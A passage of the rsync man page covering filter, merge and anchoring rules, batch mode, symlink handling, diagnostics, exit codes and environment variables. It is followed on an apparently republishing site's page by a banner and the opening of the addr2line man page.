Then the following rsync command will transfer the file “x/y/file.txt” and the directories needed to hold it, resulting in the path “/tmp/x/y/file.txt” existing on the remote host:

rsync -ai -f’+ x/’ -f’+ x/y/’ -f’+ x/y/file.txt’ -f’- *’ x host:/tmp/

Aside: this copy could also have been accomplished using the -R option (though the 2 commands behave differently if deletions are enabled):

rsync -aiR x/y/file.txt host:/tmp/

The following command does not need an include of the “x” directory because it is not a part of the transfer (note the traililng slash). Running this command would copy just “/tmp/x/file.txt” because the “y” and “z” dirs get excluded:

rsync -ai -f’+ file.txt’ -f’- *’ x/ host:/tmp/x/

This command would omit the zzz.txt file while copying “x” and everything else it contains:

rsync -ai -f’- zzz.txt’ x host:/tmp/

FILTER RULES WHEN DELETING

By default the include & exclude filter rules affect both the sender (as it creates its file list) and the receiver (as it creates its file lists for calculating deletions). If no delete option is in effect, the receiver skips creating the delete-related file lists. This two-sided default can be manually overridden so that you are only specifying sender rules or receiver rules, as described in the FILTER RULES IN DEPTH section.

When deleting, an exclude protects a file from being removed on the receiving side while an include overrides that protection (putting the file at risk of deletion). The default is for a file to be at risk – its safety depends on it matching a corresponding file from the sender.

An example of the two-sided exclude effect can be illustrated by the copying of a C development directory between 2 systems. When doing a touch-up copy, you might want to skip copying the built executable and the .o files (sender hide) so that the receiving side can build their own and not lose any object files that are already correct (receiver protect). For instance:

rsync -ai –del -f’- *.o’ -f’- cmd’ src host:/dest/

Note that using -f’-p *.o’ is even better than -f’- *.o’ if there is a chance that the directory structure may have changed. The “p” modifier is discussed in FILTER RULE MODIFIERS.

One final note, if your shell doesn’t mind unexpanded wildcards, you could simplify the typing of the filter options by using an underscore in place of the space and leaving off the quotes. For instance, -f -_*.o -f -_cmd (and similar) could be used instead of the filter options above.

FILTER RULES IN DEPTH

Rsync supports old-style include/exclude rules and new-style filter rules. The older rules are specified using –include and –exclude as well as the –include-from and –exclude-from. These are limited in behavior but they don’t require a “-” or “+” prefix. An old-style exclude rule is turned into a “- name” filter rule (with no modifiers) and an old-style include rule is turned into a “+ name” filter rule (with no modifiers).

Rsync builds an ordered list of filter rules as specified on the command-line and/or read-in from files. New style filter rules have the following syntax:

RULE [PATTERN_OR_FILENAME] RULE,MODIFIERS [PATTERN_OR_FILENAME]

You have your choice of using either short or long RULE names, as described below. If you use a short-named rule, the ‘,’ separating the RULE from the MODIFIERS is optional. The PATTERN or FILENAME that follows (when present) must come after either a single space or an underscore (_). Any additional spaces and/or underscores are considered to be a part of the pattern name. Here are the available rule prefixes:

exclude, ‘-’
specifies an exclude pattern that (by default) is both a hide and a protect.

include, ‘+’
specifies an include pattern that (by default) is both a show and a risk.

merge, ‘.’
specifies a merge-file on the client side to read for more rules.

dir-merge, ‘:’
specifies a per-directory merge-file. Using this kind of filter rule requires that you trust the sending side’s filter checking, so it has the side-effect mentioned under the –trust-sender option.

hide, ‘H’
specifies a pattern for hiding files from the transfer. Equivalent to a sender-only exclude, so -f’H foo’ could also be specified as -f’-s foo’.

show, ‘S’
files that match the pattern are not hidden. Equivalent to a sender-only include, so -f’S foo’ could also be specified as -f’+s foo’.

protect, ‘P’
specifies a pattern for protecting files from deletion. Equivalent to a receiver-only exclude, so -f’P foo’ could also be specified as -f’-r foo’.

risk, ‘R’
files that match the pattern are not protected. Equivalent to a receiver-only include, so -f’R foo’ could also be specified as -f’+r foo’.

clear, ‘!’
clears the current include/exclude list (takes no arg)

When rules are being read from a file (using merge or dir-merge), empty lines are ignored, as are whole-line comments that start with a ‘#’ (filename rules that contain a hash character are unaffected).

Note also that the –filter, –include, and –exclude options take one rule/pattern each. To add multiple ones, you can repeat the options on the command-line, use the merge-file syntax of the –filter option, or the –include-from / –exclude-from options.

PATTERN MATCHING RULES

Most of the rules mentioned above take an argument that specifies what the rule should match. If rsync is recursing through a directory hierarchy, keep in mind that each pattern is matched against the name of every directory in the descent path as rsync finds the filenames to send.

The matching rules for the pattern argument take several forms:

  1. If a pattern contains a / (not counting a trailing slash) or a “**” (which can match a slash), then the pattern is matched against the full pathname, including any leading directories within the transfer. If the pattern doesn’t contain a (non-trailing) / or a “**”, then it is matched only against the final component of the filename or pathname. For example, foo means that the final path component must be “foo” while foo/bar would match the last 2 elements of the path (as long as both elements are within the transfer).

  2. A pattern that ends with a / only matches a directory, not a regular file, symlink, or device.

  3. A pattern that starts with a / is anchored to the start of the transfer path instead of the end. For example, /foo/** or /foo/bar/** match only leading elements in the path. If the rule is read from a per-directory filter file, the transfer path being matched will begin at the level of the filter file instead of the top of the transfer. See the section on ANCHORING INCLUDE/EXCLUDE PATTERNS for a full discussion of how to specify a pattern that matches at the root of the transfer.

Rsync chooses between doing a simple string match and wildcard matching by checking if the pattern contains one of these three wildcard characters: ‘*’, ‘?’, and ‘[’ :

  1. a ‘?’ matches any single character except a slash (/).

  2. a ‘*’ matches zero or more non-slash characters.

  3. a ‘**’ matches zero or more characters, including slashes.

  4. a ‘[’ introduces a character class, such as [a-z] or [[:alpha:]], that must match one character.

  5. a trailing *** in the pattern is a shorthand that allows you to match a directory and all its contents using a single rule. For example, specifying “dir_name/***” will match both the “dir_name” directory (as if “dir_name/” had been specified) and everything in the directory (as if “dir_name/**” had been specified).

  6. a backslash can be used to escape a wildcard character, but it is only interpreted as an escape character if at least one wildcard character is present in the match pattern. For instance, the pattern “fooar” matches that single backslash literally, while the pattern “fooar*” would need to be changed to “foo\bar*” to avoid the “” becoming just “b”.

Here are some examples of exclude/include matching:

  1. Option -f’- *.o’ would exclude all filenames ending with .o

  2. Option -f’- /foo’ would exclude a file (or directory) named foo in the transfer-root directory

  3. Option -f’- foo/’ would exclude any directory named foo

  4. Option -f’- foo/*/bar’ would exclude any file/dir named bar which is at two levels below a directory named foo (if foo is in the transfer)

  5. Option -f’- /foo/**/bar’ would exclude any file/dir named bar that was two or more levels below a top-level directory named foo (note that /foo/bar is not excluded by this)

  6. Options -f’+ */’ -f’+ *.c’ -f’- *’ would include all directories and .c source files but nothing else

  7. Options -f’+ foo/’ -f’+ foo/bar.c’ -f’- *’ would include only the foo directory and foo/bar.c (the foo directory must be explicitly included or it would be excluded by the “- *”)

FILTER RULE MODIFIERS

The following modifiers are accepted after an include (+) or exclude (-) rule:

  1. A / specifies that the include/exclude rule should be matched against the absolute pathname of the current item. For example, -f’-/ /etc/passwd’ would exclude the passwd file any time the transfer was sending files from the “/etc” directory, and “-/ subdir/foo” would always exclude “foo” when it is in a dir named “subdir”, even if “foo” is at the root of the current transfer.

  2. A ! specifies that the include/exclude should take effect if the pattern fails to match. For instance, -f’-! */’ would exclude all non-directories.

  3. A C is used to indicate that all the global CVS-exclude rules should be inserted as excludes in place of the “-C”. No arg should follow.

  4. An s is used to indicate that the rule applies to the sending side. When a rule affects the sending side, it affects what files are put into the sender’s file list. The default is for a rule to affect both sides unless –delete-excluded was specified, in which case default rules become sender-side only. See also the hide (H) and show (S) rules, which are an alternate way to specify sending-side includes/excludes.

  5. An r is used to indicate that the rule applies to the receiving side. When a rule affects the receiving side, it prevents files from being deleted. See the s modifier for more info. See also the protect (P) and risk (R) rules, which are an alternate way to specify receiver-side includes/excludes.

  6. A p indicates that a rule is perishable, meaning that it is ignored in directories that are being deleted. For instance, the –cvs-exclude (-C) option’s default rules that exclude things like “CVS” and “*.o” are marked as perishable, and will not prevent a directory that was removed on the source from being deleted on the destination.

  7. An x indicates that a rule affects xattr names in xattr copy/delete operations (and is thus ignored when matching file/dir names). If no xattr-matching rules are specified, a default xattr filtering rule is used (see the –xattrs option).

MERGE-FILE FILTER RULES

You can merge whole files into your filter rules by specifying either a merge (.) or a dir-merge (:) filter rule (as introduced in the FILTER RULES section above).

There are two kinds of merged files – single-instance (’.’) and per-directory (’:’). A single-instance merge file is read one time, and its rules are incorporated into the filter list in the place of the “.” rule. For per-directory merge files, rsync will scan every directory that it traverses for the named file, merging its contents when the file exists into the current list of inherited rules. These per-directory rule files must be created on the sending side because it is the sending side that is being scanned for the available files to transfer. These rule files may also need to be transferred to the receiving side if you want them to affect what files don’t get deleted (see PER-DIRECTORY RULES AND DELETE below).

Some examples:

merge /etc/rsync/default.rules . /etc/rsync/default.rules dir-merge .per-dir-filter dir-merge,n- .non-inherited-per-dir-excludes :n- .non-inherited-per-dir-excludes

The following modifiers are accepted after a merge or dir-merge rule:

  1. A - specifies that the file should consist of only exclude patterns, with no other rule-parsing except for in-file comments.

  2. A + specifies that the file should consist of only include patterns, with no other rule-parsing except for in-file comments.

  3. A C is a way to specify that the file should be read in a CVS-compatible manner. This turns on ’n’, ‘w’, and ‘-’, but also allows the list-clearing token (!) to be specified. If no filename is provided, “.cvsignore” is assumed.

  4. A e will exclude the merge-file name from the transfer; e.g. “dir-merge,e .rules” is like “dir-merge .rules” and “- .rules”.

  5. An n specifies that the rules are not inherited by subdirectories.

  6. A w specifies that the rules are word-split on whitespace instead of the normal line-splitting. This also turns off comments. Note: the space that separates the prefix from the rule is treated specially, so “- foo + bar” is parsed as two rules (assuming that prefix-parsing wasn’t also disabled).

  7. You may also specify any of the modifiers for the “+” or “-” rules (above) in order to have the rules that are read in from the file default to having that modifier set (except for the ! modifier, which would not be useful). For instance, “merge,-/ .excl” would treat the contents of .excl as absolute-path excludes, while “dir-merge,s .filt” and “:sC” would each make all their per-directory rules apply only on the sending side. If the merge rule specifies sides to affect (via the s or r modifier or both), then the rules in the file must not specify sides (via a modifier or a rule prefix such as hide).

Per-directory rules are inherited in all subdirectories of the directory where the merge-file was found unless the ’n’ modifier was used. Each subdirectory’s rules are prefixed to the inherited per-directory rules from its parents, which gives the newest rules a higher priority than the inherited rules. The entire set of dir-merge rules are grouped together in the spot where the merge-file was specified, so it is possible to override dir-merge rules via a rule that got specified earlier in the list of global rules. When the list-clearing rule (”!”) is read from a per-directory file, it only clears the inherited rules for the current merge file.

Another way to prevent a single rule from a dir-merge file from being inherited is to anchor it with a leading slash. Anchored rules in a per-directory merge-file are relative to the merge-file’s directory, so a pattern “/foo” would only match the file “foo” in the directory where the dir-merge filter file was found.

Here’s an example filter file which you’d specify via –filter=”. file”:

merge /home/user/.global-filter - *.gz dir-merge .rules + *.[ch] - .o - foo

This will merge the contents of the /home/user/.global-filter file at the start of the list and also turns the “.rules” filename into a per-directory filter file. All rules read in prior to the start of the directory scan follow the global anchoring rules (i.e. a leading slash matches at the root of the transfer).

If a per-directory merge-file is specified with a path that is a parent directory of the first transfer directory, rsync will scan all the parent dirs from that starting point to the transfer directory for the indicated per-directory file. For instance, here is a common filter (see -F):

–filter=’: /.rsync-filter’

That rule tells rsync to scan for the file .rsync-filter in all directories from the root down through the parent directory of the transfer prior to the start of the normal directory scan of the file in the directories that are sent as a part of the transfer. (Note: for an rsync daemon, the root is always the same as the module’s “path”.)

Some examples of this pre-scanning for per-directory files:

rsync -avF /src/path/ /dest/dir rsync -av –filter=’: ../../.rsync-filter’ /src/path/ /dest/dir rsync -av –filter=’: .rsync-filter’ /src/path/ /dest/dir

The first two commands above will look for “.rsync-filter” in “/” and “/src” before the normal scan begins looking for the file in “/src/path” and its subdirectories. The last command avoids the parent-dir scan and only looks for the “.rsync-filter” files in each directory that is a part of the transfer.

If you want to include the contents of a “.cvsignore” in your patterns, you should use the rule “:C”, which creates a dir-merge of the .cvsignore file, but parsed in a CVS-compatible manner. You can use this to affect where the –cvs-exclude (-C) option’s inclusion of the per-directory .cvsignore file gets placed into your rules by putting the “:C” wherever you like in your filter rules. Without this, rsync would add the dir-merge rule for the .cvsignore file at the end of all your other rules (giving it a lower priority than your command-line rules). For example:

cat «EOT | rsync -avC –filter=’. -’ a/ b + foo.o :C - .old EOT rsync -avC –include=foo.o -f :C –exclude=’.old’ a/ b

Both of the above rsync commands are identical. Each one will merge all the per-directory .cvsignore rules in the middle of the list rather than at the end. This allows their dir-specific rules to supersede the rules that follow the :C instead of being subservient to all your rules. To affect the other CVS exclude rules (i.e. the default list of exclusions, the contents of $HOME/.cvsignore, and the value of $CVSIGNORE) you should omit the -C command-line option and instead insert a “-C” rule into your filter rules; e.g. “–filter=-C”.

LIST-CLEARING FILTER RULE

You can clear the current include/exclude list by using the “!” filter rule (as introduced in the FILTER RULES section above). The “current” list is either the global list of rules (if the rule is encountered while parsing the filter options) or a set of per-directory rules (which are inherited in their own sub-list, so a subdirectory can use this to clear out the parent’s rules).

ANCHORING INCLUDE/EXCLUDE PATTERNS

As mentioned earlier, global include/exclude patterns are anchored at the “root of the transfer” (as opposed to per-directory patterns, which are anchored at the merge-file’s directory). If you think of the transfer as a subtree of names that are being sent from sender to receiver, the transfer-root is where the tree starts to be duplicated in the destination directory. This root governs where patterns that start with a / match.

Because the matching is relative to the transfer-root, changing the trailing slash on a source path or changing your use of the –relative option affects the path you need to use in your matching (in addition to changing how much of the file tree is duplicated on the destination host). The following examples demonstrate this.

Let’s say that we want to match two source files, one with an absolute path of “/home/me/foo/bar”, and one with a path of “/home/you/bar/baz”. Here is how the various command choices differ for a 2-source transfer:

Example cmd: rsync -a /home/me /home/you /dest +/- pattern: /me/foo/bar +/- pattern: /you/bar/baz Target file: /dest/me/foo/bar Target file: /dest/you/bar/baz

Example cmd: rsync -a /home/me/ /home/you/ /dest +/- pattern: /foo/bar (note missing “me”) +/- pattern: /bar/baz (note missing “you”) Target file: /dest/foo/bar Target file: /dest/bar/baz

Example cmd: rsync -a –relative /home/me/ /home/you /dest +/- pattern: /home/me/foo/bar (note full path) +/- pattern: /home/you/bar/baz (ditto) Target file: /dest/home/me/foo/bar Target file: /dest/home/you/bar/baz

Example cmd: cd /home; rsync -a –relative me/foo you/ /dest +/- pattern: /me/foo/bar (starts at specified path) +/- pattern: /you/bar/baz (ditto) Target file: /dest/me/foo/bar Target file: /dest/you/bar/baz

The easiest way to see what name you should filter is to just look at the output when using –verbose and put a / in front of the name (use the –dry-run option if you’re not yet ready to copy any files).

PER-DIRECTORY RULES AND DELETE

Without a delete option, per-directory rules are only relevant on the sending side, so you can feel free to exclude the merge files themselves without affecting the transfer. To make this easy, the ’e’ modifier adds this exclude for you, as seen in these two equivalent commands:

rsync -av –filter=’: .excl’ –exclude=.excl host:src/dir /dest rsync -av –filter=’:e .excl’ host:src/dir /dest

However, if you want to do a delete on the receiving side AND you want some files to be excluded from being deleted, you’ll need to be sure that the receiving side knows what files to exclude. The easiest way is to include the per-directory merge files in the transfer and use –delete-after, because this ensures that the receiving side gets all the same exclude rules as the sending side before it tries to delete anything:

rsync -avF –delete-after host:src/dir /dest

However, if the merge files are not a part of the transfer, you’ll need to either specify some global exclude rules (i.e. specified on the command line), or you’ll need to maintain your own per-directory merge files on the receiving side. An example of the first is this (assume that the remote .rules files exclude themselves):

rsync -av –filter=’: .rules’ –filter=’. /my/extra.rules’ –delete host:src/dir /dest

In the above example the extra.rules file can affect both sides of the transfer, but (on the sending side) the rules are subservient to the rules merged from the .rules files because they were specified after the per-directory merge rule.

In one final example, the remote side is excluding the .rsync-filter files from the transfer, but we want to use our own .rsync-filter files to control what gets deleted on the receiving side. To do this we must specifically exclude the per-directory merge files (so that they don’t get deleted) and then put rules into the local files to control what else should not get deleted. Like one of these commands:

rsync -av –filter=’:e /.rsync-filter’ –delete
host:src/dir /dest rsync -avFF –delete host:src/dir /dest

TRANSFER RULES

In addition to the FILTER RULES that affect the recursive file scans that generate the file list on the sending and (when deleting) receiving sides, there are transfer rules. These rules affect which files the generator decides need to be transferred without the side effects of an exclude filter rule. Transfer rules affect only files and never directories.

Because a transfer rule does not affect what goes into the sender’s (and receiver’s) file list, it cannot have any effect on which files get deleted on the receiving side. For example, if the file “foo” is present in the sender’s list but its size is such that it is omitted due to a transfer rule, the receiving side does not request the file. However, its presence in the file list means that a delete pass will not remove a matching file named “foo” on the receiving side. On the other hand, a server-side exclude (hide) of the file “foo” leaves the file out of the server’s file list, and absent a receiver-side exclude (protect) the receiver will remove a matching file named “foo” if deletions are requested.

Given that the files are still in the sender’s file list, the –prune-empty-dirs option will not judge a directory as being empty even if it contains only files that the transfer rules omitted.

Similarly, a transfer rule does not have any extra effect on which files are deleted on the receiving side, so setting a maximum file size for the transfer does not prevent big files from being deleted.

Examples of transfer rules include the default “quick check” algorithm (which compares size & modify time), the –update option, the –max-size option, the –ignore-non-existing option, and a few others.

BATCH MODE

Batch mode can be used to apply the same set of updates to many identical systems. Suppose one has a tree which is replicated on a number of hosts. Now suppose some changes have been made to this source tree and those changes need to be propagated to the other hosts. In order to do this using batch mode, rsync is run with the write-batch option to apply the changes made to the source tree to one of the destination trees. The write-batch option causes the rsync client to store in a “batch file” all the information needed to repeat this operation against other, identical destination trees.

Generating the batch file once saves having to perform the file status, checksum, and data block generation more than once when updating multiple destination trees. Multicast transport protocols can be used to transfer the batch update files in parallel to many hosts at once, instead of sending the same data to every host individually.

To apply the recorded changes to another destination tree, run rsync with the read-batch option, specifying the name of the same batch file, and the destination tree. Rsync updates the destination tree using the information stored in the batch file.

For your convenience, a script file is also created when the write-batch option is used: it will be named the same as the batch file with “.sh” appended. This script file contains a command-line suitable for updating a destination tree using the associated batch file. It can be executed using a Bourne (or Bourne-like) shell, optionally passing in an alternate destination tree pathname which is then used instead of the original destination path. This is useful when the destination tree path on the current host differs from the one used to create the batch file.

Examples:

$ rsync –write-batch=foo -a host:/source/dir/ /adest/dir/ $ scp foo* remote: $ ssh remote ./foo.sh /bdest/dir/

$ rsync –write-batch=foo -a /source/dir/ /adest/dir/ $ ssh remote rsync –read-batch=- -a /bdest/dir/ <foo

In these examples, rsync is used to update /adest/dir/ from /source/dir/ and the information to repeat this operation is stored in “foo” and “foo.sh”. The host “remote” is then updated with the batched data going into the directory /bdest/dir. The differences between the two examples reveals some of the flexibility you have in how you deal with batches:

  1. The first example shows that the initial copy doesn’t have to be local – you can push or pull data to/from a remote host using either the remote-shell syntax or rsync daemon syntax, as desired.

  2. The first example uses the created “foo.sh” file to get the right rsync options when running the read-batch command on the remote host.

  3. The second example reads the batch data via standard input so that the batch file doesn’t need to be copied to the remote machine first. This example avoids the foo.sh script because it needed to use a modified –read-batch option, but you could edit the script file if you wished to make use of it (just be sure that no other option is trying to use standard input, such as the –exclude-from=- option).

Caveats:

The read-batch option expects the destination tree that it is updating to be identical to the destination tree that was used to create the batch update fileset. When a difference between the destination trees is encountered the update might be discarded with a warning (if the file appears to be up-to-date already) or the file-update may be attempted and then, if the file fails to verify, the update discarded with an error. This means that it should be safe to re-run a read-batch operation if the command got interrupted. If you wish to force the batched-update to always be attempted regardless of the file’s size and date, use the -I option (when reading the batch). If an error occurs, the destination tree will probably be in a partially updated state. In that case, rsync can be used in its regular (non-batch) mode of operation to fix up the destination tree.

The rsync version used on all destinations must be at least as new as the one used to generate the batch file. Rsync will die with an error if the protocol version in the batch file is too new for the batch-reading rsync to handle. See also the –protocol option for a way to have the creating rsync generate a batch file that an older rsync can understand. (Note that batch files changed format in version 2.6.3, so mixing versions older than that with newer versions will not work.)

When reading a batch file, rsync will force the value of certain options to match the data in the batch file if you didn’t set them to the same as the batch-writing command. Other options can (and should) be changed. For instance –write-batch changes to –read-batch, –files-from is dropped, and the –filter / –include / –exclude options are not needed unless one of the –delete options is specified.

The code that creates the BATCH.sh file transforms any filter/include/exclude options into a single list that is appended as a “here” document to the shell script file. An advanced user can use this to modify the exclude list if a change in what gets deleted by –delete is desired. A normal user can ignore this detail and just use the shell script as an easy way to run the appropriate –read-batch command for the batched data.

The original batch mode in rsync was based on “rsync+”, but the latest version uses a new implementation.

SYMBOLIC LINKS

Three basic behaviors are possible when rsync encounters a symbolic link in the source directory.

By default, symbolic links are not transferred at all. A message “skipping non-regular” file is emitted for any symlinks that exist.

If –links is specified, then symlinks are added to the transfer (instead of being noisily ignored), and the default handling is to recreate them with the same target on the destination. Note that –archive implies –links.

If –copy-links is specified, then symlinks are “collapsed” by copying their referent, rather than the symlink.

Rsync can also distinguish “safe” and “unsafe” symbolic links. An example where this might be used is a web site mirror that wishes to ensure that the rsync module that is copied does not include symbolic links to /etc/passwd in the public section of the site. Using –copy-unsafe-links will cause any links to be copied as the file they point to on the destination. Using –safe-links will cause unsafe links to be omitted by the receiver. (Note that you must specify or imply –links for –safe-links to have any effect.)

Symbolic links are considered unsafe if they are absolute symlinks (start with /), empty, or if they contain enough “..” components to ascend from the top of the transfer.

Here’s a summary of how the symlink options are interpreted. The list is in order of precedence, so if your combination of options isn’t mentioned, use the first line that is a complete subset of your options:

–copy-links
Turn all symlinks into normal files and directories (leaving no symlinks in the transfer for any other options to affect).

–copy-dirlinks
Turn just symlinks to directories into real directories, leaving all other symlinks to be handled as described below.

–links –copy-unsafe-links
Turn all unsafe symlinks into files and create all safe symlinks.

–copy-unsafe-links
Turn all unsafe symlinks into files, noisily skip all safe symlinks.

–links –safe-links
The receiver skips creating unsafe symlinks found in the transfer and creates the safe ones.

–links
Create all symlinks.

For the effect of –munge-links, see the discussion in that option’s section.

Note that the –keep-dirlinks option does not effect symlinks in the transfer but instead affects how rsync treats a symlink to a directory that already exists on the receiving side. See that option’s section for a warning.

DIAGNOSTICS

Rsync occasionally produces error messages that may seem a little cryptic. The one that seems to cause the most confusion is “protocol version mismatch – is your shell clean?”.

This message is usually caused by your startup scripts or remote shell facility producing unwanted garbage on the stream that rsync is using for its transport. The way to diagnose this problem is to run your remote shell like this:

ssh remotehost /bin/true > out.dat

then look at out.dat. If everything is working correctly then out.dat should be a zero length file. If you are getting the above error from rsync then you will probably find that out.dat contains some text or data. Look at the contents and try to work out what is producing it. The most common cause is incorrectly configured shell startup scripts (such as .cshrc or .profile) that contain output statements for non-interactive logins.

If you are having trouble debugging filter patterns, then try specifying the -vv option. At this level of verbosity rsync will show why each individual file is included or excluded.

EXIT VALUES

  1. 0 - Success

  2. 1 - Syntax or usage error

  3. 2 - Protocol incompatibility

  4. 3 - Errors selecting input/output files, dirs

  1. 4 - Requested action not supported. Either:

an attempt was made to manipulate 64-bit files on a platform that cannot support them

  1. an option was specified that is supported by the client and not by the server
  1. 5 - Error starting client-server protocol

  2. 6 - Daemon unable to append to log-file

  3. 10 - Error in socket I/O

  4. 11 - Error in file I/O

  5. 12 - Error in rsync protocol data stream

  6. 13 - Errors with program diagnostics

  7. 14 - Error in IPC code

  8. 20 - Received SIGUSR1 or SIGINT

  9. 21 - Some error returned by waitpid()

  10. 22 - Error allocating core memory buffers

  11. 23 - Partial transfer due to error

  12. 24 - Partial transfer due to vanished source files

  13. 25 - The –max-delete limit stopped deletions

  14. 30 - Timeout in data send/receive

  15. 35 - Timeout waiting for daemon connection

ENVIRONMENT VARIABLES

CVSIGNORE
The CVSIGNORE environment variable supplements any ignore patterns in .cvsignore files. See the –cvs-exclude option for more details.

RSYNC_ICONV
Specify a default –iconv setting using this environment variable. First supported in 3.0.0.

RSYNC_OLD_ARGS
Specify a “1” if you want the –old-args option to be enabled by default, a “2” (or more) if you want it to be enabled in the repeated-option state, or a “0” to make sure that it is disabled by default. When this environment variable is set to a non-zero value, it supersedes the RSYNC_PROTECT_ARGS variable.

This variable is ignored if –old-args, –no-old-args, or –secluded-args is specified on the command line.

First supported in 3.2.4.

RSYNC_PROTECT_ARGS
Specify a non-zero numeric value if you want the –secluded-args option to be enabled by default, or a zero value to make sure that it is disabled by default.

This variable is ignored if –secluded-args, –no-secluded-args, or –old-args is specified on the command line.

First supported in 3.1.0. Starting in 3.2.4, this variable is ignored if RSYNC_OLD_ARGS is set to a non-zero value.

RSYNC_RSH
This environment variable allows you to override the default shell used as the transport for rsync. Command line options are permitted after the command name, just as in the –rsh (-e) option.

RSYNC_PROXY
This environment variable allows you to redirect your rsync client to use a web proxy when connecting to an rsync daemon. You should set RSYNC_PROXY to a hostname:port pair.

RSYNC_PASSWORD
This environment variable allows you to set the password for an rsync daemon connection, which avoids the password prompt. Note that this does not supply a password to a remote shell transport such as ssh (consult its documentation for how to do that).

USER or LOGNAME
The USER or LOGNAME environment variables are used to determine the default username sent to an rsync daemon. If neither is set, the username defaults to “nobody”. If both are set, USER takes precedence.

RSYNC_PARTIAL_DIR
This environment variable specifies the directory to use for a –partial transfer without implying that partial transfers be enabled. See the –partial-dir option for full details.

RSYNC_COMPRESS_LIST
This environment variable allows you to customize the negotiation of the compression algorithm by specifying an alternate order or a reduced list of names. Use the command rsync –version to see the available compression names. See the –compress option for full details.

RSYNC_CHECKSUM_LIST
This environment variable allows you to customize the negotiation of the checksum algorithm by specifying an alternate order or a reduced list of names. Use the command rsync –version to see the available checksum names. See the –checksum-choice option for full details.

RSYNC_MAX_ALLOC
This environment variable sets an allocation maximum as if you had used the –max-alloc option.

RSYNC_PORT
This environment variable is not read by rsync, but is instead set in its sub-environment when rsync is running the remote shell in combination with a daemon connection. This allows a script such as rsync-ssl to be able to know the port number that the user specified on the command line.

HOME
This environment variable is used to find the user’s default .cvsignore file.

RSYNC_CONNECT_PROG
This environment variable is mainly used in debug setups to set the program to use when making a daemon connection. See CONNECTING TO AN RSYNC DAEMON for full details.

RSYNC_SHELL
This environment variable is mainly used in debug setups to set the program to use to run the program specified by RSYNC_CONNECT_PROG. See CONNECTING TO AN RSYNC DAEMON for full details.

FILES

/etc/rsyncd.conf or rsyncd.conf

SEE ALSO

rsync-ssl(1), rsyncd.conf(5), rrsync(1)

BUGS

  1. Times are transferred as *nix time_t values.

  2. When transferring to FAT filesystems rsync may re-sync unmodified files. See the comments on the –modify-window option.

  3. File permissions, devices, etc. are transferred as native numerical values.

  4. See also the comments on the –delete option.

Please report bugs! See the web site at .

VERSION

This manpage is current for version 3.3.0 of rsync.

INTERNAL OPTIONS

The options –server and –sender are used internally by rsync, and should never be typed by a user under normal circumstances. Some awareness of these options may be needed in certain scenarios, such as when setting up a login that can only run an rsync command. For instance, the support directory of the rsync distribution has an example script named rrsync (for restricted rsync) that can be used with a restricted ssh login.

CREDITS

Rsync is distributed under the GNU General Public License. See the file COPYING for details.

An rsync web site is available at . The site includes an FAQ-O-Matic which may cover questions unanswered by this manual page.

The rsync github project is .

We would be delighted to hear from you if you like this program. Please contact the mailing-list at [email protected].

This program uses the excellent zlib compression library written by Jean-loup Gailly and Mark Adler.

THANKS

Special thanks go out to: John Van Essen, Matt McCutchen, Wesley W. Terpstra, David Dykstra, Jos Backus, Sebastian Krahmer, Martin Pool, and our gone-but-not-forgotten compadre, J.W. Schultz.

Thanks also to Richard Brent, Brendan Mackay, Bill Waite, Stephen Rothwell and David Bell. I’ve probably missed some people, my apologies if I have.

AUTHOR

Rsync was originally written by Andrew Tridgell and Paul Mackerras. Many people have later contributed to it. It is currently maintained by Wayne Davison.

Mailing lists for support and development are available at .

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1772 - Linux cli command x86_64-w64-mingw32-addr2line

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-addr2line and provides detailed information about the command x86_64-w64-mingw32-addr2line, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-addr2line.

NAME 🖥️ x86_64-w64-mingw32-addr2line 🖥️

convert addresses or symbol+offset into file names and line numbers

SYNOPSIS

addr2line [-a|–addresses] [-b bfdname|–target=bfdname] [-C|–demangle[=style]] [-r|–no-recurse-limit] [-R|–recurse-limit] [-e filename|–exe=filename] [-f|–functions] [-s|–basename] [-i|–inlines] [-p|–pretty-print] [-j|–section=name] [-H|–help] [-V|–version] [addr addr …]

DESCRIPTION

addr2line translates addresses or symbol+offset into file names and line numbers. Given an address or symbol+offset in an executable or an offset in a section of a relocatable object, it uses the debugging information to figure out which file name and line number are associated with it.

The executable or relocatable object to use is specified with the -e option. The default is the file a.out. The section in the relocatable object to use is specified with the -j option.

addr2line has two modes of operation.

In the first, hexadecimal addresses or symbol+offset are specified on the command line, and addr2line displays the file name and line number for each address.

In the second, addr2line reads hexadecimal addresses or symbol+offset from standard input, and prints the file name and line number for each address on standard output. In this mode, addr2line may be used in a pipe to convert dynamically chosen addresses.

The format of the output is FILENAME:LINENO. By default each input address generates one line of output.

Two options can generate additional lines before each FILENAME:LINENO line (in that order).

If the -a option is used then a line with the input address is displayed.

If the -f option is used, then a line with the FUNCTIONNAME is displayed. This is the name of the function containing the address.

One option can generate additional lines after the FILENAME:LINENO line.

If the -i option is used and the code at the given address is present there because of inlining by the compiler then additional lines are displayed afterwards. One or two extra lines (if the -f option is used) are displayed for each inlined function.

Alternatively if the -p option is used then each input address generates a single, long, output line containing the address, the function name, the file name and the line number. If the -i option has also been used then any inlined functions will be displayed in the same manner, but on separate lines, and prefixed by the text (inlined by).

If the file name or function name can not be determined, addr2line will print two question marks in their place. If the line number can not be determined, addr2line will print 0.

